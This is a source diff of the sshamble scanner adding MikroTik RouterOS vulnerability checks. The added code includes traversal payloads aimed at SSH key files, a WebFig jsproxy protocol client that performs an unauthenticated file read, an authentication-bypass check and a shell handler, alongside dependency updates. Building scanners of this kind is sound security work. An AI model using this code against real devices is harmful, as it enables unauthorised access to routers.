+               "../../../id_rsa.pub",
+               "../../../../id_rsa.pub",
+               "../../../../../id_rsa.pub",
+               "../../../../../../id_rsa.pub",
+               // Double-URL-encoded traversal (server may decode after 
decrypt)
+               "%2e%2e%2fid_rsa.pub",
+               "%2e%2e%2f%2e%2e%2fid_rsa.pub",
+               "%2e%2e%2f%2e%2e%2f%2e%2e%2fid_rsa.pub",
+               // Overlong UTF-8 encoding of "."
+               "%c0%ae%c0%ae/id_rsa.pub",
+               "%c0%ae%c0%ae/%c0%ae%c0%ae/id_rsa.pub",
+               // Backslash variant
+               "..\\..\\id_rsa.pub",
+               "..\\..\\..\\id_rsa.pub",
+       }
+
+       // Try up to 3 sessions to increase chance of hitting a stale principal.
+       // Space sessions apart to avoid rate-limiting.
+       for attempt := range 3 {
+               if attempt > 0 {
+                       time.Sleep(2 * time.Second)
+               }
+
+               sess, err := webfig.Dial(host)
+               if err != nil {
+                       conf.Logger.Debugf("%s %s webfig handshake attempt %d 
failed: %v", addr, tname, attempt+1, err)
+                       continue
+               }
+
+               // Try only the first few paths per session to avoid 
rate-limiting.
+               // The server may close the connection after a failed traversal.
+               maxPaths := 3
+               if len(paths) < maxPaths {
+                       maxPaths = len(paths)
+               }
+               for pi := 0; pi < maxPaths; pi++ {
+                       path := paths[pi]
+                       status, data, err := sess.ReadFileStatus(path)
+                       if err != nil {
+                               conf.Logger.Debugf("%s %s traversal %q attempt 
%d failed: %v", addr, tname, path, attempt+1, err)
+                               // Server likely closed connection or 
rate-limited; stop this session.
+                               break
+                       }
+
+                       content := string(data)
+
+                       // Check if the response looks like an SSH public key
+                       if status == 200 && (strings.HasPrefix(content, 
"ssh-rsa ") ||
+                               strings.HasPrefix(content, "ssh-ed25519 ") ||
+                               strings.HasPrefix(content, "ecdsa-sha2-") ||
+                               strings.HasPrefix(content, "ssh-dss ")) {
+                               conf.Logger.Infof("%s %s successfully read %q 
(%d bytes) on attempt %d", addr, tname, path, len(data), attempt+1)
+
+                               root.AddVuln(auth.VulnResult{
+                                       ID:    tname,
+                                       Ref:   "CVE-2026-67281",
+                                       URL:   
"https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/";,
+                                       Proof: fmt.Sprintf("unauthenticated 
file read via WebFig jsproxy traversal (%s): %s", path, 
strings.TrimSpace(content)),
+                               })
+                               return nil
+                       }
+
+                       // Log unexpected successful responses for debugging
+                       if status == 200 && len(data) > 0 {
+                               conf.Logger.Debugf("%s %s traversal %q returned 
200 with %d bytes (not a key): %s",
+                                       addr, tname, path, len(data), 
strings.TrimSpace(content[:min(len(content), 200)]))
+                       }
+               }
+       }
+
+       conf.Logger.Debugf("%s %s all traversal attempts across all sessions 
failed", addr, tname)
+       return nil
+}
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/cmd_scan.go 
new/sshamble-0.3.12/cmd/cmd_scan.go
--- old/sshamble-0.3.10/cmd/cmd_scan.go 2026-07-28 04:41:47.000000000 +0200
+++ new/sshamble-0.3.12/cmd/cmd_scan.go 2026-09-07 21:41:04.000000000 +0200
@@ -4,6 +4,7 @@
        "bufio"
        "io"
        "maps"
+       "math/big"
        "net"
        "os"
        "regexp"
@@ -45,6 +46,7 @@
        gEnabledChecks              string
        gPrivateKeyFile             string
        gPrivateKeyPassphrase       string
+       gMikrotikPubKeyFile         string
        gPassword                   string
        gPasswordFile               string
        gInteract                   string
@@ -127,6 +129,7 @@
        scanCmd.Flags().StringVar(&gEnabledCategories, "categories", 
strings.Join(categories, ","), "The list of categories to include.")
        scanCmd.Flags().StringVar(&gPrivateKeyFile, "private-key", "", "The 
optional file containing a private key for authentication")
        scanCmd.Flags().StringVar(&gPrivateKeyPassphrase, 
"private-key-passphrase", "", "The optional passphrase for a private key file")
+       scanCmd.Flags().StringVar(&gMikrotikPubKeyFile, "mikrotik-pubkey", "", 
"The victim's authorized RSA public key file for the CVE-2026-67276 Mikrotik 
bypass check")
        scanCmd.Flags().StringVar(&gPassword, "password", "", "An optional 
password to try for authentication")
        scanCmd.Flags().StringVar(&gPasswordFile, "password-file", "", "An 
optional file with clear-text passwords to try for authentication")
        scanCmd.Flags().StringVarP(&gInteract, "interact", "I", "none", "Open 
an interactive shell for the 'first', 'all', or 'none' sessions")
@@ -146,16 +149,17 @@
 var TestKeyRSASizes = []int{1024, 2048, 4096}
 
 type ScanConfig struct {
-       EnabledChecks  map[string]struct{}
-       Logger         *logrus.Logger
-       OutputWriter   io.Writer
-       TestKeyRSA1024 ssh.Signer
-       TestKeyRSA2048 ssh.Signer
-       TestKeyRSA4096 ssh.Signer
-       TestKeyED25519 ssh.Signer
-       BadKeyCache    *badkeys.Cache
-       outMutex       sync.Mutex
-       statResult     atomic.Uint64
+       EnabledChecks      map[string]struct{}
+       Logger             *logrus.Logger
+       OutputWriter       io.Writer
+       MikrotikRSAModulus *big.Int
+       TestKeyRSA1024     ssh.Signer
+       TestKeyRSA2048     ssh.Signer
+       TestKeyRSA4096     ssh.Signer
+       TestKeyED25519     ssh.Signer
+       BadKeyCache        *badkeys.Cache
+       outMutex           sync.Mutex
+       statResult         atomic.Uint64
 }
 
 func (conf *ScanConfig) IsCheckEnabled(check string) bool {
@@ -264,6 +268,9 @@
                }
        }
 
+       // Configure the victim RSA modulus for the Mikrotik bypass check
+       conf.MikrotikRSAModulus = loadMikrotikModulus(conf)
+
        // Generate test keys
        generateTestKeys(conf)
 
@@ -470,6 +477,20 @@
 
 func (conf *ScanConfig) ScanHost(options *auth.Options, cached 
*auth.AuthResult) *auth.AuthResult {
        addr := net.JoinHostPort(options.Host, 
strconv.FormatUint(uint64(options.Port), 10))
+
+       // Run HTTP-based vulnerability checks once per host (not per SSH user)
+       // CVE-2026-67281 webfig traversal — not yet working, commented out
+       // if cached == nil {
+       //      webfigRoot := auth.NewAuthResult()
+       //      webfigRoot.Host = options.Host
+       //      webfigRoot.Port = options.Port
+       //      webfigRoot.User = options.Username
+       //      _ = sshCheckVulnMikrotikWebfigTraversal(addr, conf, options, 
webfigRoot)
+       //      if len(webfigRoot.Vulns) > 0 {
+       //              conf.WriteOutput(webfigRoot)
+       //      }
+       // }
+
        root := conf.GetSession(addr, options, cached)
        if root.Unreachable {
                conf.Logger.Debugf("%s is unreachable: %v", addr, root.Error)
@@ -691,11 +712,17 @@
 
        // Process pre-session vulnerability checks
        vulnChecks := []sshCheckFunc{
+               sshCheckVulnMikrotikPubkey,
+               sshCheckVulnMikrotikPreauthRekey,
                sshCheckVulnExecSkipUserAuth,
                sshCheckVulnExecSkipAuth,
        }
        for _, check := range vulnChecks {
-               _ = check(addr, conf, options, root)
+               res = check(addr, conf, options, root)
+               shouldInteract()
+               if shouldReturn() {
+                       return
+               }
        }
        return
 }
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/cmd/interact.go 
new/sshamble-0.3.12/cmd/interact.go
--- old/sshamble-0.3.10/cmd/interact.go 2026-07-28 04:41:47.000000000 +0200
+++ new/sshamble-0.3.12/cmd/interact.go 2026-09-07 21:41:04.000000000 +0200
@@ -40,7 +40,12 @@
        var res *auth.AuthResult
        if root.SessionAuth != nil {
                // Use the ssh.AuthMethod cached on the root session
-               res = auth.SSHAuth(addr, 
options.WithSessionHandler(conf.InteractHandler(addr, options, root)), 
auth.SSHAuthHandlerSingle(root.SessionAuth))
+               var handler auth.SessionHandler = conf.InteractHandler(addr, 
options, root)
+               if root.SessionMethod == checkVulnMikrotikPubkey {
+                       // RouterOS's shell channel is a full-screen TUI; drive 
it via exec.
+                       handler = conf.MikrotikInteractHandler(addr, options, 
root)
+               }
+               res = auth.SSHAuth(addr, options.WithSessionHandler(handler), 
auth.SSHAuthHandlerSingle(root.SessionAuth))
        } else {
                switch root.SessionMethod {
                case checkSkipSSHUserAuth:
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/go.mod new/sshamble-0.3.12/go.mod
--- old/sshamble-0.3.10/go.mod  2026-07-28 04:41:47.000000000 +0200
+++ new/sshamble-0.3.12/go.mod  2026-09-07 21:41:04.000000000 +0200
@@ -1,6 +1,6 @@
 module github.com/runZeroInc/sshamble
 
-go 1.26.0
+go 1.27.1
 
 // NOTE: Uncomment to test with a development version of excrypto
 // replace github.com/runZeroInc/excrypto => ../excrypto
@@ -9,13 +9,13 @@
        github.com/google/go-cmp v0.7.0
        github.com/logrusorgru/aurora/v3 v3.0.0
        github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3
-       github.com/runZeroInc/excrypto v0.42.2
-       github.com/sirupsen/logrus v1.9.4
+       github.com/runZeroInc/excrypto v0.43.2
+       github.com/sirupsen/logrus v1.10.2
        github.com/spf13/cobra v1.10.2
        github.com/spf13/viper v1.21.0
        github.com/ulikunitz/xz v0.5.16
        go.yaml.in/yaml/v3 v3.0.5
-       golang.org/x/crypto v0.54.0
+       golang.org/x/crypto v0.56.0
        golang.org/x/term v0.45.0
        gonum.org/v1/gonum v0.17.0
 )
@@ -31,8 +31,10 @@
        github.com/spf13/pflag v1.0.10 // indirect
        github.com/subosito/gotenv v1.6.0 // indirect
        github.com/weppos/publicsuffix-go v0.50.3 // indirect
-       golang.org/x/net v0.57.0 // indirect
+       golang.org/x/net v0.58.0 // indirect
        golang.org/x/sys v0.47.0 // indirect
-       golang.org/x/text v0.40.0 // indirect
+       golang.org/x/text v0.41.0 // indirect
        gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect
 )
+
+replace github.com/runZeroInc/excrypto => github.com/msuiche/excrypto 
v0.43.2-0.20260907192101-05292dc2f370
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/go.sum new/sshamble-0.3.12/go.sum
--- old/sshamble-0.3.10/go.sum  2026-07-28 04:41:47.000000000 +0200
+++ new/sshamble-0.3.12/go.sum  2026-09-07 21:41:04.000000000 +0200
@@ -1,10 +1,6 @@
 github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod 
h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
-github.com/davecgh/go-spew v1.1.1 
h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
-github.com/davecgh/go-spew v1.1.1/go.mod 
h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/frankban/quicktest v1.14.6 
h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
 github.com/frankban/quicktest v1.14.6/go.mod 
h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
-github.com/fsnotify/fsnotify v1.10.0 
h1:Xx/5Ydg9CeBDX/wi4VJqStNtohYjitZhhlHt4h3St1M=
-github.com/fsnotify/fsnotify v1.10.0/go.mod 
h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
 github.com/fsnotify/fsnotify v1.10.1 
h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
 github.com/fsnotify/fsnotify v1.10.1/go.mod 
h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
 github.com/go-viper/mapstructure/v2 v2.5.0 
h1:vM5IJoUAy3d7zRSVtIwQgBj7BiWtMPfmPEgAXnvj1Ro=
@@ -21,25 +17,17 @@
 github.com/logrusorgru/aurora/v3 v3.0.0/go.mod 
h1:vsR12bk5grlLvLXAYrBsb5Oc/N+LxAlxggSjiwMnCUc=
 github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3 
h1:2YMbJ6WbdQI9K73chxh9OWMDsZ2PNjAIRGTonp3T0l0=
 github.com/mmcloughlin/professor v0.0.0-20170922221822-6b97112ab8b3/go.mod 
h1:LQkXsHRSPIEklPCq8OMQAzYNS2NGtYStdNE/ej1oJU8=
-github.com/pelletier/go-toml/v2 v2.3.1 
h1:MYEvvGnQjeNkRF1qUuGolNtNExTDwct51yp7olPtrEc=
-github.com/pelletier/go-toml/v2 v2.3.1/go.mod 
h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
+github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 
h1:U728YNUJrCpd83oxpTZw+xXK9+toDGrrRI/YQTq9U2w=
+github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370/go.mod 
h1:CQo6LfXwh+dpf0OA7wO4MLUCDJAqIKVq/SSAQsg6TP0=
 github.com/pelletier/go-toml/v2 v2.4.3 
h1:GTRvJQutkOSftxIFD5xw9aepkYNuPWmVJpffdDPYVpY=
 github.com/pelletier/go-toml/v2 v2.4.3/go.mod 
h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
-github.com/pmezard/go-difflib v1.0.0 
h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
-github.com/pmezard/go-difflib v1.0.0/go.mod 
h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/rogpeppe/go-internal v1.9.0 
h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
 github.com/rogpeppe/go-internal v1.9.0/go.mod 
h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
-github.com/runZeroInc/excrypto v0.39.0 
h1:QBUmJoVBdzfUTxLUN7wlro7d1ko4KBnwfPpVPDtDXSA=
-github.com/runZeroInc/excrypto v0.39.0/go.mod 
h1:rj/ZnkrH3P9juT/ROY80Zsrmkv7ZFZwlXLU6cf7ZuGo=
-github.com/runZeroInc/excrypto v0.42.1 
h1:n9eADIuoxyL3/dlTP9dyIK0EE8um/6tWJJAea+x7aq4=
-github.com/runZeroInc/excrypto v0.42.1/go.mod 
h1:2+D8ndV+Ux7bkqknBACE8nbu1f2cb4G+B6OdcKbBL5c=
-github.com/runZeroInc/excrypto v0.42.2 
h1:VJgxfApAsXaYUXgNGDyH+FM0BkbjqtDodXud+MalBSo=
-github.com/runZeroInc/excrypto v0.42.2/go.mod 
h1:2+D8ndV+Ux7bkqknBACE8nbu1f2cb4G+B6OdcKbBL5c=
 github.com/russross/blackfriday/v2 v2.1.0/go.mod 
h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
 github.com/sagikazarmark/locafero v0.12.0 
h1:/NQhBAkUb4+fH1jivKHWusDYFjMOOKU88eegjfxfHb4=
 github.com/sagikazarmark/locafero v0.12.0/go.mod 
h1:sZh36u/YSZ918v0Io+U9ogLYQJ9tLLBmM4eneO6WwsI=
-github.com/sirupsen/logrus v1.9.4 
h1:TsZE7l11zFCLZnZ+teH4Umoq5BhEIfIzfRDZ1Uzql2w=
-github.com/sirupsen/logrus v1.9.4/go.mod 
h1:ftWc9WdOfJ0a92nsE2jF5u5ZwH8Bv2zdeOC42RjbV2g=
+github.com/sirupsen/logrus v1.10.2 
h1:G2SED73/qrAu6YwbdxOD6peLkCBI3z7L+ykJFTXJBBo=
+github.com/sirupsen/logrus v1.10.2/go.mod 
h1:SLEg8TqYulVKKfIGHldVp2K2aYz2DKSVBq4g/H5bR7Q=
 github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
 github.com/spf13/afero v1.15.0/go.mod 
h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
 github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
@@ -51,44 +39,29 @@
 github.com/spf13/pflag v1.0.10/go.mod 
h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
 github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
 github.com/spf13/viper v1.21.0/go.mod 
h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
-github.com/stretchr/testify v1.11.1 
h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
-github.com/stretchr/testify v1.11.1/go.mod 
h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
+github.com/stretchr/testify v1.12.1 
h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
+github.com/stretchr/testify v1.12.1/go.mod 
h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
 github.com/subosito/gotenv v1.6.0 
h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
 github.com/subosito/gotenv v1.6.0/go.mod 
h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
-github.com/ulikunitz/xz v0.5.15 h1:9DNdB5s+SgV3bQ2ApL10xRc35ck0DuIX/isZvIk+ubY=
-github.com/ulikunitz/xz v0.5.15/go.mod 
h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
 github.com/ulikunitz/xz v0.5.16 h1:ld6NyySjx5lowVKwJvMRLnW5nxKX/xnpSiFYZ/Lxur0=
 github.com/ulikunitz/xz v0.5.16/go.mod 
h1:H9Rt/W6/Qj27PGauhQc6nfCDy7vHpzsOThBSaYDoEhw=
 github.com/weppos/publicsuffix-go v0.50.3 
h1:eT5dcjHQcVDNc0igpFEsGHKIip30feuB2zuuI9eJxiE=
 github.com/weppos/publicsuffix-go v0.50.3/go.mod 
h1:/rOa781xBykZhHK/I3QeHo92qdDKVmKZKF7s8qAEM/4=
-go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
 go.yaml.in/yaml/v3 v3.0.4/go.mod 
h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
 go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
 go.yaml.in/yaml/v3 v3.0.5/go.mod 
h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
-golang.org/x/crypto v0.51.0 h1:IBPXwPfKxY7cWQZ38ZCIRPI50YLeevDLlLnyC5wRGTI=
-golang.org/x/crypto v0.51.0/go.mod 
h1:8AdwkbraGNABw2kOX6YFPs3WM22XqI4EXEd8g+x7Oc8=
-golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw=
-golang.org/x/crypto v0.54.0/go.mod 
h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk=
-golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w=
-golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ=
-golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE=
-golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU=
-golang.org/x/sys v0.44.0 h1:ildZl3J4uzeKP07r2F++Op7E9B29JRUy+a27EibtBTQ=
-golang.org/x/sys v0.44.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
+golang.org/x/crypto v0.56.0 h1:GUh5Ii4J5jtcseSMiRqr1jXCNHoxjeV9Fmekc2oLy6Y=
+golang.org/x/crypto v0.56.0/go.mod 
h1:OMW5y6CY9l38uPLmxU6l6pwcXp1obtLo3e6gT7gQR2I=
+golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
+golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
 golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs=
 golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
-golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4=
-golang.org/x/term v0.43.0/go.mod 
h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk=
 golang.org/x/term v0.45.0 h1:NwWyBmoJCbfTHpxrWoZ9C6/VxOf7ic219I8xZZFdrf0=
 golang.org/x/term v0.45.0/go.mod 
h1:9aqxs0blBcrm/n0L9QW0aRVD+ktan8ssZromtqJC43w=
-golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
-golang.org/x/text v0.37.0/go.mod 
h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
-golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs=
-golang.org/x/text v0.40.0/go.mod 
h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY=
+golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
+golang.org/x/text v0.41.0/go.mod 
h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
 gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4=
 gonum.org/v1/gonum v0.17.0/go.mod 
h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod 
h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
 gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 
h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo=
 gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod 
h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
-gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/sshamble-0.3.10/webfig/webfig.go 
new/sshamble-0.3.12/webfig/webfig.go
--- old/sshamble-0.3.10/webfig/webfig.go        1970-01-01 01:00:00.000000000 
+0100
+++ new/sshamble-0.3.12/webfig/webfig.go        2026-09-07 21:41:04.000000000 
+0200
@@ -0,0 +1,256 @@
+// Package webfig implements the RouterOS WebFig jsproxy protocol,
+// including the CVE-2026-67281 path-traversal file read.
+package webfig
+
+import (
+       "bufio"
+       "bytes"
+       "crypto/aes"
+       "crypto/cipher"
+       "crypto/rand"
+       "crypto/sha256"
+       "fmt"
+       "io"
+       "net"
+       "net/http"
+       "strings"
+       "time"
+
+       "golang.org/x/crypto/curve25519"
+)
+
+// defaultTimeout is the per-request deadline for jsproxy operations.
+const defaultTimeout = 10 * time.Second
+
+// Session holds the state for an unauthenticated jsproxy session.
+type Session struct {
+       host      string
+       sessionID []byte
+       sendKey   []byte
+       recvKey   []byte
+       txSeq     uint32
+}
+
+// Dial performs the X25519 handshake with the jsproxy endpoint and returns
+// an unauthenticated session ready for encrypted requests.
+func Dial(host string) (*Session, error) {
+       // Generate X25519 keypair
+       privKey := make([]byte, 32)
+       if _, err := io.ReadFull(rand.Reader, privKey); err != nil {
+               return nil, fmt.Errorf("webfig: key generation: %w", err)
+       }
+
+       // Compute public key: reverse(X25519(reverse(priv), basepoint))
+       privRev := reverse(privKey)
+       pubRaw, err := curve25519.X25519(privRev, curve25519.Basepoint)
+       if err != nil {
+               return nil, fmt.Errorf("webfig: X25519 pubkey: %w", err)
+       }
+       pubWire := reverse(pubRaw)
+
+       // Build init request: 8 zero bytes + 32-byte public key
+       initReq := make([]byte, 40)
+       copy(initReq[8:], pubWire)
+
+       httpClient := &http.Client{Timeout: defaultTimeout}
+       resp, err := httpClient.Post(
+               "http://"+host+"/jsproxy";,
+               "msg",
+               bytes.NewReader(initReq),
+       )
+       if err != nil {
+               return nil, fmt.Errorf("webfig: init request: %w", err)
+       }
+       defer resp.Body.Close()
+
+       initResp, err := io.ReadAll(resp.Body)
+       if err != nil {
+               return nil, fmt.Errorf("webfig: reading init response: %w", err)
+       }
+       if resp.StatusCode != 200 {
+               return nil, fmt.Errorf("webfig: init response %d: %s", 
resp.StatusCode, truncate(initResp, 200))
+       }
+       if len(initResp) < 40 {
+               return nil, fmt.Errorf("webfig: init response too short: %d 
bytes", len(initResp))
+       }
+
+       sessionID := make([]byte, 4)
+       copy(sessionID, initResp[:4])
+       // Bytes 4-7 are padding/sequence, skip them
+       serverPub := make([]byte, 32)
+       copy(serverPub, initResp[8:40])
+
+       // Compute shared secret
+       serverPubRev := reverse(serverPub)
+       sharedRaw, err := curve25519.X25519(privRev, serverPubRev)
+       if err != nil {
+               return nil, fmt.Errorf("webfig: X25519 shared: %w", err)
+       }
+       masterKey := reverse(sharedRaw)
+
+       sendKey := makeKey(masterKey, "On the client side, this is the send 
key; on the server side, it is the receive key.")
+       recvKey := makeKey(masterKey, "On the client side, this is the receive 
key; on the server side, it is the send key.")
+
+       return &Session{
+               host:      host,
+               sessionID: sessionID,
+               sendKey:   sendKey,
+               recvKey:   recvKey,
+               txSeq:     1,
+       }, nil
+}
+
+// ReadFile reads a file from the WebFig file namespace using an encrypted GET
+// request. The path is relative to the WebFig root; use ".." components to
+// traverse out of the WebFig directory (CVE-2026-67281).
+func (s *Session) ReadFile(path string) ([]byte, error) {
+       status, body, err := s.ReadFileStatus(path)
+       if err != nil {
+               return nil, err
+       }
+       if status != 200 {
+               return nil, fmt.Errorf("webfig: GET %q returned %d: %s", path, 
status, truncate(body, 500))
+       }
+       return body, nil
+}
+
+// ReadFileStatus reads a file and returns the HTTP status code and body.
+// Unlike ReadFile, it does not treat non-200 responses as errors, allowing
+// callers to distinguish 403 (forbidden) from 404 (not found) from 200 
(success).
+func (s *Session) ReadFileStatus(path string) (int, []byte, error) {
+       encPath := s.encryptURI(path)
+       encQuery := encodeURIComponent(encPath)
+
+       conn, err := net.DialTimeout("tcp", s.host+":80", defaultTimeout)
+       if err != nil {
+               return 0, nil, fmt.Errorf("webfig: dial: %w", err)
+       }
+       defer conn.Close()
+
+       _ = conn.SetDeadline(time.Now().Add(defaultTimeout))
+
+       req := fmt.Sprintf("GET /jsproxy/?%s HTTP/1.1\r\nHost: %s\r\nReferer: 
http://%s/webfig/\r\nConnection: close\r\n\r\n", encQuery, s.host, s.host)
+       if _, err := conn.Write([]byte(req)); err != nil {
+               return 0, nil, fmt.Errorf("webfig: write: %w", err)
+       }
+
+       resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
+       if err != nil {
+               return 0, nil, fmt.Errorf("webfig: read response: %w", err)
+       }
+       defer resp.Body.Close()
+
+       body, err := io.ReadAll(resp.Body)
+       if err != nil {
+               return 0, nil, fmt.Errorf("webfig: reading %q: %w", path, err)
+       }
+       return resp.StatusCode, body, nil
+}
+
+// encryptURI encrypts a URI path the same way webfig Session.encryptURI() 
does.
+// Returns the raw binary frame: sessionID(4) || seq(4) || IV(16) || 
ciphertext.
+func (s *Session) encryptURI(uri string) []byte {
+       plaintext := []byte(uri)
+
+       block, err := aes.NewCipher(s.sendKey)
+       if err != nil {
+               panic(err)
+       }
+
+       iv := make([]byte, 16)
+       if _, err := io.ReadFull(rand.Reader, iv); err != nil {
+               panic(err)
+       }
+
+       stream := cipher.NewCTR(block, iv)
+       ciphertext := make([]byte, len(plaintext))
+       stream.XORKeyStream(ciphertext, plaintext)
+
+       seq := s.txSeq
+       s.txSeq += uint32(len(plaintext))
+
+       out := make([]byte, 8+16+len(ciphertext))
+       out[0] = s.sessionID[0]
+       out[1] = s.sessionID[1]
+       out[2] = s.sessionID[2]
+       out[3] = s.sessionID[3]
+       out[4] = byte(seq >> 24)
+       out[5] = byte(seq >> 16)
+       out[6] = byte(seq >> 8)
+       out[7] = byte(seq)
+       copy(out[8:24], iv)
+       copy(out[24:], ciphertext)
+
+       return out
+}
+
+// encodeURIComponent mimics JavaScript's encodeURIComponent as used by webfig.
+// The webfig encryptURI pipeline is:
+//  1. UTF-8 encode the path
+//  2. AES-128-CTR encrypt
+//  3. Prepend sessionID(4) || seq(4) || IV(16)
+//  4. Convert to JS string via byte2str (0x00 -> U+0100, else identity)
+//  5. Apply decodeZeros (charCodeAt & 0xff, mapping U+0100 back to \x00)
+//  6. Apply encodeURIComponent (which encodes \x00 as %00)
+//  7. Apply encodeURLComponent (which additionally encodes !'()*)
+//
+// The net effect: each byte b of the binary frame is encoded as:
+//   - b == 0x00  -> %00
+//   - b in [A-Za-z0-9\-_.~] -> literal
+//   - b in !'()* -> %XX
+//   - b < 0x80   -> %XX
